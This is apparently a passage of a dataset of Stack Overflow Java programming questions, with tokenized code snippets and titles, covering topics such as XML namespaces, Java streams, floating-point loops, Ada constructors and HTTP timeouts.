camera.setFarClip ( 1000 ) ; int xy = 150 ; Translate trans = new Translate ( -xy , xy , -120 ) ; Rotate rotXY = new Rotate ( 70 , new Point3D ( 1 , 1 , 0 ) ) ; Rotate rotZ = new Rotate ( 45 , new Point3D ( 0 , 0 , 1 ) ) ; camera.getTransforms ( ) .addAll ( trans , rotXY , rotZ ) ; return camera ; } public static void main ( String [ ] args ) { launch ( ) ; } }",How to animate a spinning top ? +Java,"Before I start : I know that the child node inherits the namespace from the parent node and that 's why my problem occurs . Unfortunately , the webservice I am sending my XML does n't accept the child node without the namespace and , as it is a government entity , a change in their part is rather unlikely.That being said , I am using Spring-WS to make the communication between my application and the webservice , so in one way or the other the framework uses a transformer to parse my payload Source to the framework 's payload Result : Before that transformation take place , my XML has these two nodes like it follows here : After the transformation , the second namespace is removed ( as I said before , I know the reason ) : I am also aware that I can use marshallers to achieve the same result and writing the parse code myself . Using that approach is also ok and would be acceptable , but I do n't know any other way to achieve the same thing ( transforming the javax.xml.transform.Source into javax.xml.transform.Result ) using other approach besides the one listed above.I have two questions then:1 - Can I avoid the behaviour I am having with the default approach ( without using marshallers ) ? 2 - Is there any other tool that would make the same transformation ?","transformer.transform ( Source , Result ) ; < enviNFe xmlns= '' http : //www.portalfiscal.inf.br/nfe '' versao= '' 3.10 '' > < NFe xmlns= '' http : //www.portalfiscal.inf.br/nfe '' > < enviNFe xmlns= '' http : //www.portalfiscal.inf.br/nfe '' versao= '' 3.10 '' > < NFe >",Parsing a XML not keeping duplicated namespaces in the parent node and child node +Java,"PrefaceConsider a list , array or string of 12 elements , of an irrelevant value ( lets say E ) . Each element can be linked to , at most , one other adjacent element , or if it is the last element of the list , it can be linked to the first element.Examples of valid lists , where dashes indicate links , and `` E '' represents an element.An example of an invalid list.QuestionI want to calculate the total number of unique lists , and print them.To approach this problem , what might be the best way to represent the data ? Would it be best to implement a data structure specific to this problem ? I am looking to implement this in Java , but if you believe that a different language is better suited , I am open to suggestions.WhyThis is NOT a homework question.The idea is to find every rhythmic pattern in a bar of 12/8 consisting of only single and double groupings of eighth notes , of which can be tied across a barline .",E E E E E E E E E E E E E E-E E-E E E E-E E-E EE E E-E E E-E E-E E E E- E-E-E E E E E-E E E E E-,Calculate all possible combinations +Java,"Maybe the C++ and Java people can help me to define this problem I 'm going to explain . I have a problem in Ada ( you do n't need to know it , I 'm just interested in the concept ) on how representing a Constructor of a class which implements three main branches of dynamic identifiers : Pure number values ( int , float , String , whatever ) List/stack itemSomething what in C++ is likely a thread ( in Ada we have a more wide concept of this , related to a task , but we can concept a simple task as a thread , so the concept applies too ) I 'm gon na call this class Par_Class , and be any constructed object call Par_Obj . Thus , when an object Par_Obj is created ( so , the number values are initialized , the lists/stacks have other lists/stacks allocated or null and the memory range for the thread execution is reserved ) , the OS automatically starts the execution of the new thread in parallel with my main application ( and now they contend for system resources ) . But to simplify the example , let 's suppose I 'd have a class with an integer and a pointer to a string.In C++ , I could code , for example , ( please correct me if I 'm doing wrong ) the constructor could be implemented as and finally we could instantiate this class withand sure this constructor method belongs to the class Par_Class and not to any other class.Similarly , in Java , we could codeand we could instantiate the object using ( again please correct me if I 'm wrong ) . Again , Par_Class constructor is a method of the class Par_Class.In Ada 2005 , this class could be coded as and the user could callAnd that 's where resides the problem . The compiler says me that I could not use the method Construct in Par_Obj : = Par_Obj.Construct because yet my object is null . But it 's so obvious , because just what I want to do is to initialize the object ( so it would not be null anymore ) . There are other ways of constructing the object , for example , using a function from outside the class , but I do n't want to use this approach because it runs away from architecture . Could you please help me to formulate the problem to my Ada friends so they can help me to implement it in Ada ? I guess I 'm having a bit difficult on explaining this in general concept terms . Thanks.Answer @ paercebal gave me what I think could achieve my goal : '' Is there a way to have a `` static '' function declared inside Par_Class ? '' and `` is there a way to have an non-member function declared friend of Par_Class ? '' I could complete it with `` is there a way to have a `` static '' function declared inside a tagged type ? Also , could the package where the class is declared act as a friend or as a static function ? `` UpdateGot some more good reasons on why implementing it as suggested by @ SimonWright and some people from comp.lang.ada forum : So I asked : In this case function Construct would behave as a C++ static function ( or maybe a friend one ? ) ? And Dmitry Kazakov answered : That depends on what you mean . In Ada : there is no hidden parameters an operation can be dispatching ( virtual ) in any combination of parameters and/or result . But an operation can not be dispatching in more than one type ( no multiple dispatch ) . All tags of dispatching parameters must be same ( no multi-methods ) . there is no static or friend operations as the visibility rules are based on packages . The function Construct above is a primitive operation , it is not a constructor . Constructors in Ada are implicit , they consist of construction of the components ( in an unspecified order , recursively ) ; a call to Initialize if the type is a descendant of Ada.Finalization. [ Limited_ ] Controlled . ( Overridden bodies of Initialize are not called ! I.e . Ada constructors do not traverse derivation path . In short , aggregation is safe , derivation is not ; starting all task components . ( Note , tasks are not running when Initialize is called ! ) Destructors act in the reverse order : tasks - Finalize - components.And I guess it responds . Thank you people .","class Par_Class { public : Par_Class ( int aValue , const std : :string & aName ) ; private : int theValue ; std : :string theName ; } ; Par_Class : :Par_Class ( int aValue , const std : :string & aName ) : theValue ( aValue ) , theName ( aName ) { } Par_Class Par_Obj ( 23 , `` My object is this '' ) ; public class Par_Class { private int theValue ; private String theName ; public Par_Class ( int aValue , String aName ) { theValue = aValue ; theName = aName ; } } ; Par_Class Par_Obj = new Par_Class ( 23 , `` My object is this '' ) ; -- par_pkg.adspackage Par_Pkg is type Par_Class is tagged private ; type Par_Class_Ptr is access all Par_Class ; type Integer_Ptr is access Integer ; function Construct ( P : access Par_Class ; aValue : Integer ; aName : Integer_Ptr ) return Par_Class_Ptr ; private type Par_Class is tagged record theValue : Integer ; theName : Integer_Ptr ; end record ; end Par_Pkg ; -- par_pkg.adbpackage body Par_Pkg is function Construct ( P : access Par_Class ; aValue : Integer ; aName : Integer_Ptr ) return Par_Class_Ptr is pragma Unreferenced ( P ) ; P_Ptr : constant Par_Class_Ptr : = new Par_Class ; begin P_Ptr.theValue : = aValue ; P_Ptr.theName : = aName ; return P_Ptr ; end Construct ; end Par_Pkg ; with Par_Pkg ; use Par_Pkg ; procedure Par_Main is Par_Obj : Par_Class_Ptr ; Int_Obj : Integer_Ptr ; begin Int_Obj : = new Integer ; Int_Obj.all : = 12 ; -- do n't worry about been string or integer Par_Obj : = Par_Obj.Construct ( aValue = > 23 , aName = > Int_Obj ) ; end Par_Main ; function Construct ( aValue : Integer ; aName : Integer ) return Par_Class isbegin return ( theValue = > aValue , theName = > aName ) ; end Construct ;",Class formulation concept from C++ and Java to Ada +Java,"I am about to give a presentation in my company ( I am a trainee ) about Inheritance in Java.I think I figured it out and I also know how to use it . But one thing is not so sure.Where are the methodes stored in the storage . And how does an object know where the methodes are ? For example : We have this class.and this class : we now make an Object of the Dog class : Dog dog = new Dog ( ) ; So now my questions : The classes are loaded in the heap . So Dog and Animal are in the heap . ( EDIT : Thats wrong , classes do n't get loaded in the heap , look answers below . ) .So , Lets say we make dog.bark ( ) . How does dog know where the bark method is in the Heap ? Knows it where the Dog class is ? Next we make dog.eat ( ) : So when dog knows where Dog is , does Dog know where Animal is or does dog know where Animal is ? With know I mean it has a address where it is on the heap.And how is it when I overwrite a method ? Where is that stored ? thx for helping .",class Animal { private String desc1 ; protected String desc2 ; public void breath ( ) { } public void eat ( ) { } } class Dog extends Animal ( ) { public void bark ( ) { } },How does inheritance technical work ? +Java,"I am making a call from a node middle-tier to a Java backend and passing a string as a query param . Everything works great until non-English alphabet character are used ( ex : ř , ý ) . When Java receives these characters it throws : This call works perfectly : This call fails with the above error : My question involves where to address this issue.I have found this utf8 encoder for node and was thinking about encoding my strings as utf8 before calling my Java layer in the future.Is that the correct approach or should I be doing something within Java ? Note , this is what my relevant request headers look like :","parse exception : org.eclipse.jetty.util.Utf8Appendable $ NotUtf8Exception : Not valid UTF8 ! GET http : //localhost:8000/server/name ? name=smith GET http : //localhost:8000/server/name ? name=sořovský { ... accept : 'application/json , text/plain , */* ' , 'accept-encoding ' : 'gzip , deflate , sdch ' , 'accept-language ' : 'en-US , en ; q=0.8 , el ; q=0.6 ' , ... }",Enforce utf8 encoding in call from node to Java +Java,"I am currently learnig java float-point numbers . I know , that a float have a specific amount of significant digets . I also know , that a float is represented in java like -1 or 1 * num * 10^x . Where num is the numer and 10^x is the decimal `` point '' . But here we do not have a fraction of a number . How is a infinite loop here possible ? The code with infinite loop :",float f = 123456789 ; while ( f -- > 0 ) { System.out.println ( f ) ; },Java - infinite while loop with float +Java,In my application I have a method which is called by multiple threads simultaneously . Each thread calls this method many times while running.This method makes a String.toUpperString ( Locale ) call which causes a bottleneck because of the HashTable usage within the Locale class . Each thread waits other one while toUpperCase method operates . This situation slows down my application up to three times.Is there something I 'm missing with the usage of the Locale or I must use another class for the same purpose ? Thanks in advance .,"private Locale trLoc = new Locale ( `` tr '' , `` TR '' ) ; public double calculate ( String arg1 ) { arg1 = arg1.toUpperCase ( trLoc ) ; ... }",How Locale could be used in multithreaded application to improve performance +Java,"I ’ ve got an application with Hibernate ( JPA ) which I am using in combination with Jinq . I ’ ve got a table which lists entities and I want the user to be able to filter it . In the table there are persons listed.I am using JavaFX for this , but this shouldn ’ t matter . First thing I tried was to filter the persons by their surname . For filtering , I used Jinq in combination with lambda . My filtering code looks like this : So the object I am operating on is a normal String . I don ’ t think that my Person class has anything to do with that . My first thought was , that you can ’ t use the method boolean contains ( ... ) in lambda because when the error showed up , it said : So my question is , is it somehow possible to use the contains-method of a String in lambdacode ?","@ Entitypublic class Person { private String firstName ; private String surName ; @ Id private int id ; public Person ( ) { } public Person ( final String pFirstName , final String pSurName , final int pID ) { firstName = pFirstName ; surName = pSurName ; id = pID ; } public int getId ( ) { return id ; } public void setId ( final int pID ) { id = pID ; } public String getFirstName ( ) { return firstName ; } public void setFirstName ( final String pFirstName ) { return firstName = pFirstName ; } public String getSurName ( ) { return surName ; } public void setSurName ( final String pSurName ) { surName = pSurName ; } } private List < Person > getFilteredPersons ( final String pSurName ) { JPAJinqStream < Person > stream = streamProvider.streamAll ( Person.class ) ; stream.where ( person - > person.getSurName ( ) .contains ( pSurName ) ) ; List < Person > filteredList = stream.toList ( ) ; stream.close ( ) ; return filteredList ; } Caused by : java.lang.IllegalArgumentException : Could not analyze lambda code",Lambda in Java - Could not analyze lambda code +Java,"In the following class , the return type of the two methods is inconsistent with the idea that the ternary operator : is equivalent toThe first returns a Double and the second a Long : I can imagine this has to do with the compiler narrow casting the return type of getWithQuestionMark ( ) but is that language wise ok ? It 's certainly not what I would have expected.Any insights most welcome ! Edit : there 's very good answers below . Additionally , the following question referenced by @ sakthisundar explores another side effect of the type promotion occurring in the ternary operator : Tricky ternary operator in Java - autoboxing",return condition ? a : b ; if ( condition ) { return a ; } else { return b ; } public class IfTest { public static Long longValue = 1l ; public static Double doubleValue = null ; public static void main ( String [ ] args ) { System.out.println ( getWithIf ( ) .getClass ( ) ) ; // outpus Long System.out.println ( getWithQuestionMark ( ) .getClass ( ) ) ; // outputs Double } public static Object getWithQuestionMark ( ) { return doubleValue == null ? longValue : doubleValue ; } public static Object getWithIf ( ) { if ( doubleValue == null ) { return longValue ; } else { return doubleValue ; } } },`` Wrong '' return type when using if vs. ternary opertator in Java +Java,"I was playing around with different implementations of the Euclidean distance metric and I noticed that I get different results for Scipy , pure Python , and Java.Here 's how I compute the distance using Scipy ( = option 1 ) : here 's an implementation in Python I found in a forum ( option 2 ) : and lastly , here 's my implementation in Java ( option 3 ) : Both sample and training_vector are 1-D arrays with length 784 , taken from the MNIST dataset . I tried all three methods with the same sample and training_vector . The problem is that the three different methods result in three significantly different distances ( that is , around 1936 for option 1 , 1914 for option 2 , and 1382 for option 3 ) . Interestingly , when I use the same argument order for sample and training_vector in options 1 and 2 ( i.e . flip the arguments to option 1 around ) , I get the same result for these two options . But distance metrics are supposed to be symmetrical , right ... ? What 's also interesting : I 'm using these metrics for a k-NN classifier for the MNIST dataset . My Java implementation yields an accuracy of around 94 % for 100 test samples and 2700 training samples . However , the Python implementation using option 1 only yields an accuracy of about 75 % ... Do you have any ideas as to why I 'm getting these different results ? If you are interested , I can post a CSV for two arrays online , and post a link here.I 'm using Java 8 , Python 2.7 , and Scipy 1.0.0.Edit : Changed option 2 toThis had the following effects : it got rid of a ubyte overflow warning ( I must have missed this warning before ... ) changing the argument order for options 1 and 2 no longer makes a difference.the results for options 2 ( pure Python ) and 3 ( Java ) are now equalSo , this only leaves the following problem : why is the result different ( i.e . wrong ? ) when using SciPy ?","distance = scipy.spatial.distance.euclidean ( sample , training_vector ) distance = math.sqrt ( sum ( [ ( a - b ) ** 2 for a , b in zip ( training_vector , sample ) ] ) ) public double distance ( int [ ] a , int [ ] b ) { assert a.length == b.length ; double squaredDistance = 0.0 ; for ( int i=0 ; i < a.length ; i++ ) { squaredDistance += Math.pow ( a [ i ] - b [ i ] , 2.0 ) ; } return Math.sqrt ( squaredDistance ) ; } distance = math.sqrt ( sum ( [ ( float ( a ) - float ( b ) ) ** 2 for a , b in zip ( training_vector , sample ) ] ) )","Euclidean distance , different results between Scipy , pure Python , and Java" +Java,"At Java byte code level , is there any difference between an simple if-statement ( Example 1 ) and a normal if-statement ( Example 2 ) : Example 1 : Example 2 : The background of the question , is that I saw in `` high performance '' classes like java.awt.Rectangle and Point only the variant without curly braces.Is there any speed benefit , or is that only code style ?",if ( cond ) statement ; if ( cond ) { statement ; },Simple if statement vs. normal if statement +Java,"I 've seen some takeWhile implementations for the Java 8 stream API but they all seem to turn the stream into a non-parallel stream . For example this one : Here StreamSupport.stream ( takeWhile ( stream.spliterator ( ) , predicate ) , false ) ; turns the stream passed to takeWhile into a sequential stream . Is anyone aware of an implementation that supports parallel streams or how can I modify this code to make it maintain/support parallel streams ?","static < T > Spliterator < T > takeWhile ( Spliterator < T > splitr , Predicate < ? super T > predicate ) { return new Spliterators.AbstractSpliterator < T > ( splitr.estimateSize ( ) , 0 ) { boolean stillGoing = true ; @ Override public boolean tryAdvance ( Consumer < ? super T > consumer ) { if ( stillGoing ) { boolean hadNext = splitr.tryAdvance ( elem - > { if ( predicate.test ( elem ) ) { consumer.accept ( elem ) ; } else { stillGoing = false ; } } ) ; return hadNext & & stillGoing ; } return false ; } } ; } static < T > Stream < T > takeWhile ( Stream < T > stream , Predicate < ? super T > predicate ) { return StreamSupport.stream ( takeWhile ( stream.spliterator ( ) , predicate ) , false ) ; }",How to implement a parallel supporting takeWhile for the Stream API in Java 8 ? +Java,I want to know how does following line of code works ? As per my knowledge all signed numbers are stored in 2 's complement form . So -98 will be stored in 2 's complement form . So if you type cast it into char . How does this type casting is done by JVM ? Please correct me if I am wrong .,char c = ( char ) -98 ;,How does char c = ( char ) -98 ; works ? +Java,"Consider the following classes : I get this error : The inherited method A.print ( ) can not hide the public abstract method in CNow , I understand that print ( ) must be public in order the eliminate the compilation error , but what 's the reason behind this ?",class A { void print ( ) { System.out.println ( `` A '' ) ; } } class B extends A implements C { } public interface C { void print ( ) ; },Why a method must be public ? +Java,"To my understanding , if type checking can be done during compilation , the type casting will be done during compilation and will not incur any runtime overhead . For exampleIs the type casting done during compilation or during runtime ? And is there any general rule to decide if a type casting is done by javac compiler or by the VM ?",public Child getChild ( ) { Parent o = new Child ( ) ; return ( Child ) o ; },Any type casting done by javac ? +Java,I noticed that before jar name in stack traces there are tilde characters right before an opening square bracket . They always occur from the top of stack trace to a certain depth . Even identical traces might have tildes ending at different depth of stack trace . What are these tildes denoting ? I 'm using logback for logging stack traces .,at org.hibernate.engine.internal.Nullability.checkNullability ( Nullability.java:106 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.action.internal.AbstractEntityInsertAction.nullifyTransientReferencesIfNotAlready ( AbstractEntityInsertAction.java:132 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.action.internal.AbstractEntityInsertAction.makeEntityManaged ( AbstractEntityInsertAction.java:141 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.spi.ActionQueue.addResolvedEntityInsertAction ( ActionQueue.java:203 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.spi.ActionQueue.addInsertAction ( ActionQueue.java:181 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.spi.ActionQueue.addAction ( ActionQueue.java:168 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.AbstractSaveEventListener.addInsertAction ( AbstractSaveEventListener.java:342 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.AbstractSaveEventListener.performSaveOrReplicate ( AbstractSaveEventListener.java:289 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.AbstractSaveEventListener.performSave ( AbstractSaveEventListener.java:195 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.AbstractSaveEventListener.saveWithGeneratedId ( AbstractSaveEventListener.java:138 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.saveWithGeneratedOrRequestedId ( DefaultSaveOrUpdateEventListener.java:209 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.entityIsTransient ( DefaultSaveOrUpdateEventListener.java:194 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.performSaveOrUpdate ( DefaultSaveOrUpdateEventListener.java:114 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.onSaveOrUpdate ( DefaultSaveOrUpdateEventListener.java:90 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.internal.SessionImpl.fireSaveOrUpdate ( SessionImpl.java:684 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.internal.SessionImpl.saveOrUpdate ( SessionImpl.java:676 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.spi.CascadingActions $ 5.cascade ( CascadingActions.java:235 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.internal.Cascade.cascadeToOne ( Cascade.java:350 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.internal.Cascade.cascadeAssociation ( Cascade.java:293 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.internal.Cascade.cascadeProperty ( Cascade.java:161 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.internal.Cascade.cascadeCollectionElements ( Cascade.java:379 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.internal.Cascade.cascadeCollection ( Cascade.java:319 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.internal.Cascade.cascadeAssociation ( Cascade.java:296 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.internal.Cascade.cascadeProperty ( Cascade.java:161 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.engine.internal.Cascade.cascade ( Cascade.java:118 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.AbstractSaveEventListener.cascadeAfterSave ( AbstractSaveEventListener.java:470 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.AbstractSaveEventListener.performSaveOrReplicate ( AbstractSaveEventListener.java:295 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.AbstractSaveEventListener.performSave ( AbstractSaveEventListener.java:195 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.AbstractSaveEventListener.saveWithGeneratedId ( AbstractSaveEventListener.java:138 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.saveWithGeneratedOrRequestedId ( DefaultSaveOrUpdateEventListener.java:209 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.DefaultSaveEventListener.saveWithGeneratedOrRequestedId ( DefaultSaveEventListener.java:55 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.entityIsTransient ( DefaultSaveOrUpdateEventListener.java:194 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.DefaultSaveEventListener.performSaveOrUpdate ( DefaultSaveEventListener.java:49 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.event.internal.DefaultSaveOrUpdateEventListener.onSaveOrUpdate ( DefaultSaveOrUpdateEventListener.java:90 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.internal.SessionImpl.fireSave ( SessionImpl.java:715 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.internal.SessionImpl.save ( SessionImpl.java:707 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.hibernate.internal.SessionImpl.save ( SessionImpl.java:702 ) ~ [ hibernate-core-4.3.11.Final.jar:4.3.11.Final ] at org.library.hibernate.Hibernate.saveWithTx ( Hibernate.java:758 ) ~ [ library-4.5.1.0.jar:4.5.1.0 ] at org.library.hibernate.Hibernate.saveWithTx ( Hibernate.java:738 ) ~ [ library-4.5.1.0.jar:4.5.1.0 ] at org.library.signatureservice.signingdevices.SigningDeviceManagerImpl.addVMacSigningDevice ( SigningDeviceManagerImpl.java:421 ) ~ [ library-4.5.1.0.jar:4.5.1.0 ] at org.library.adminui.model.VMACDevices.saveItem ( VMACDevices.java:243 ) ~ [ library-4.5.1.0.jar:4.5.1.0 ] at org.library.adminui.model.VMACDevices.saveItem ( VMACDevices.java:21 ) ~ [ library-4.5.1.0.jar:4.5.1.0 ] at org.library.adminui.model.SignatureServerDataProvider.handleSaveItem ( SignatureServerDataProvider.java:630 ) ~ [ library-4.5.1.0.jar:4.5.1.0 ] at org.library.adminui.panel.ManagementPanel.saveButtonClicked ( ManagementPanel.java:231 ) [ library-4.5.1.0.jar:4.5.1.0 ] at org.library.adminui.form.ManagementForm $ 5.onSubmit ( ManagementForm.java:302 ) [ library-4.5.1.0.jar:4.5.1.0 ] at org.apache.wicket.markup.html.form.Form.delegateSubmit ( Form.java:1568 ) [ wicket-1.4.17.jar:1.4.17 ] at org.apache.wicket.markup.html.form.Form.process ( Form.java:960 ) [ wicket-1.4.17.jar:1.4.17 ] at org.apache.wicket.markup.html.form.Form.onFormSubmitted ( Form.java:921 ) [ wicket-1.4.17.jar:1.4.17 ],What does tilde ( ~ ) in java stack trace mean ? +Java,"Imagine the following code : Ideally , I would like the interface IB to be able to also extend IA because it does in fact allow you to retrieve As.or evenHowever , the compiler really dislikes both of those and it would make my code much better if this was allowed as conceptually B can be used as A without up-casting everywhereWhat solutions are available for me to solve this problem ?","class A { } class B extends A { } interface IA extends Iterable < A > { } interface IB extends Iterable < B > { } interface IB extends Iterable < B > , IA { } interface IB extends Iterable < B > implements IA { }",Java : Interface generic of a superclass +Java,Which do you prefer and why ?,public void setPresenter ( Presenter presenter ) { this.presenter = presenter ; } public void setPresenter ( Presenter p ) { presenter = p ; },Using `` this '' in Java vs Short Parameter Names +Java,"I have this piece of code : and I want to know if it is possible to refactor it using Jav8 Enhancements like compute ( ) , computeIfPresent ( ) or computeIfAbsent ( )","if ( notificationSend.get ( key ) ! = null & & notificationSend.get ( key ) .equals ( value ) ) { return true ; } else { notificationSend.put ( key , value ) ; return false ; }",Java 8 compute ( ) and computeIfPresent ( ) to check an existing value +Java,"I have a spring boot application where I want to externalize the messages . I am categorizing these messages into errors , info , and success . Thus I 'm creating a nested folder structure as below : And , I 'm trying to access this from the service in the following manner : This gives me the following exception : java.util.MissingResourceException : Ca n't find bundle for base name errors , locale enHowever , if I keep the properties file outside the folders as below , it works fine : So , How do I make sure that the ResourceBundle is able to find the property file located inside the nested folder ? Can it be done without updating the classpath ? Is this an apt way to manage messages of the application ? Or are there still better ways to externalize and manage these error , info and success messages ?","Locale locale = new Locale ( `` en '' ) ; ResourceBundle errors = ResourceBundle.getBundle ( `` errors '' , locale ) ; System.out.println ( errors.getString ( `` E000 '' ) ) ;",How to use properties file from a nested folder inside /src/main/resources ? +Java,"Consider this code : The line is flagged by the compiler saying : Why is b considered two dimensional ? I realize the `` shortcut '' declaration int [ ] a = null , b [ ] = null ; is to blame , but why does it make the array two dimensional when only one set of brackets have been written ? I find this syntax unclear and obfuscating .","class arraytest { public static void main ( String args [ ] ) { int [ ] a = null , b [ ] = null ; b = a ; System.out.println ( b ) ; } } b = a ; Incompatible types , found int [ ] , required int [ ] [ ]",Why is this Java array considered two dimensional ? +Java,Why is it considered better to use the default Object equals method in Java and modify it so it will work for a specific class ( by validating with instanceof and using type casting ) : instead of overloading it with a new equals method specific for each class that needs to use equals :,public boolean equals ( Object otherObject ) { boolean isEqual = false ; if ( ( otherObject ! = null ) & & ( otherObject instanceof myClass ) ) { myClass classObject = ( myClass ) otherObject ; if ( ... .. ) //checking if equal { ... .. } public boolean equals ( myClass classObject ),Why is it better to use the default Object equals method in Java ? +Java,"OK , the first question in this `` series '' was this one.Now , here is another case : This compiles , and works ... OK , in the last question , static methods from a class were used.But now this is different : System.out is a static field of System , yes ; it is also a PrintStream , and a PrintStream has a println ( ) method which happens to match the signature of a Consumer in this case , and a Consumer is what forEach ( ) expects.So I tried this ... And it works ! This is quite a different scope here , since I initiate a new instance and can use a method reference right after this instance is constructed ! So , is a method reference really any method which obeys the signature ? What are the limits ? Are there any cases where one can build a `` @ FunctionalInterface compatible '' method which can not be used in a @ FunctionalInterface ?","Arrays.asList ( `` hello '' , `` world '' ) .stream ( ) .forEach ( System.out : :println ) ; public final class Main { public static void main ( final String ... args ) { Arrays.asList ( 23 , 2389 , 19 ) .stream ( ) .forEach ( new Main ( ) : :meh ) ; } // Matches the signature of a Consumer < ? super Integer > ... public void meh ( final Integer ignored ) { System.out.println ( `` meh '' ) ; } }","Java 8 streams , why does this compile part 2 ... Or what is a method reference , really ?" +Java,"I implemented a GapBuffer list in Java , and I ca n't figure out why it 's getting such a performance penalty . Similar code written in C # behaves as expected : inserting to the middle of the list is much faster than C # 's implementation of List . But the Java version is behaving strangely.Here is some benchmarking information : As you can see , when you insert to the beginning of the list , the gap buffer behaves as expected : it is many , many , many times better than ArrayList . However , when inserting and removing at a random spot in the list , the gap buffer has a strange performance penalty that I ca n't explain . Even stranger is the fact that removing items from the GapBufferList is slower than adding items to it - according to every test I 've run so far , it takes about three times longer to remove an item than it does to add one , despite the fact that their code is almost identical : The code for the gap buffer can be found at here , and the code for the benchmark entrypoint can be found here . ( You can replace any reference to Flow . ***Exception with RuntimeException . )","Adding/removing 10,000,000 items @ the end of the dynamic array ... ArrayList : 683 millisecondsGapBufferList : 416 millisecondsAdding/removing 100,000 items @ a random spot in the dynamic array ... - ArrayList add : 721 milliseconds - ArrayList remove : 612 millisecondsArrayList : 1333 milliseconds - GapBufferList add : 1293 milliseconds - GapBufferList remove : 2775 millisecondsGapBufferList : 4068 millisecondsAdding/removing 100,000 items @ the beginning of the dynamic array ... ArrayList : 2422 millisecondsGapBufferList : 13 millisecondsClearly , the GapBufferList is the better option . @ Overridepublic void add ( int index , T t ) { if ( index < 0 || index > back.length - gapSize ) throw new IndexOutOfBoundsException ( ) ; if ( gapPos > index ) { int diff = gapPos - index ; for ( int q = 1 ; q < = diff ; q++ ) back [ gapPos - q + gapSize ] = back [ gapPos - q ] ; } else if ( index > gapPos ) { int diff = gapPos - index ; for ( int q = 0 ; q < diff ; q++ ) back [ gapPos + q ] = back [ gapPos + gapSize + q ] ; } gapPos = index ; if ( gapSize == 0 ) increaseSize ( ) ; back [ gapPos++ ] = t ; gapSize -- ; } @ Overridepublic T remove ( int index ) { if ( index < 0 || index > = back.length - gapSize ) throw new IndexOutOfBoundsException ( ) ; if ( gapPos > index + 1 ) { int diff = gapPos - ( index + 1 ) ; for ( int q = 1 ; q < = diff ; q++ ) back [ gapPos - q + gapSize ] = back [ gapPos - q ] ; } else { int diff = ( index + 1 ) - gapPos ; for ( int q = 0 ; q < diff ; q++ ) back [ gapPos + q ] = back [ gapPos + gapSize + q ] ; } gapSize++ ; return back [ gapPos = index ] ; }",Unexpected Performance Penalty in Java +Java,"I have a very weird behavioural difference when my Java program is run with Java 8 and Java 11.I am using the MSGraph API ( 1.7.0 ) to make several calls to the Onedrive APIs . To make these calls , I am using 4 parallel threads for sync a lot of files ( around 1000 ) on my hard disk.When I execute the program with Java 8 , I get no exceptions . When I execute it with java 11 , I get a Socket Timeout Exception in around the 60 % of the calls.To configure the IGraphServiceClient , I am using the default configuration . As far as I am concerned , the HTTP Provider is OKHttp3 in this case.Has anybody experienced anything like this ? [ UPDATE-1 ] These are the environments I have tested : Oracle 's JDK 1.8.0_192 -- > Perfect . Not an error in around 400 callsOpenjdk 11.0.7 and Oracle 's jdk 11.0.3 -- > tons of Sokcet Timeout ExceptionsHereby you have the stacktrace : and a second stacktrace [ UPDATE-2 ] After overriding the okhttp dependency to versions 3.14.9 and 4.7.2 ( latest available ) , everything is still the same , although something has changed . Besides the usual timeout exception : a new one appears from time to time :",com.microsoft.graph.core.ClientException : Error during http request at 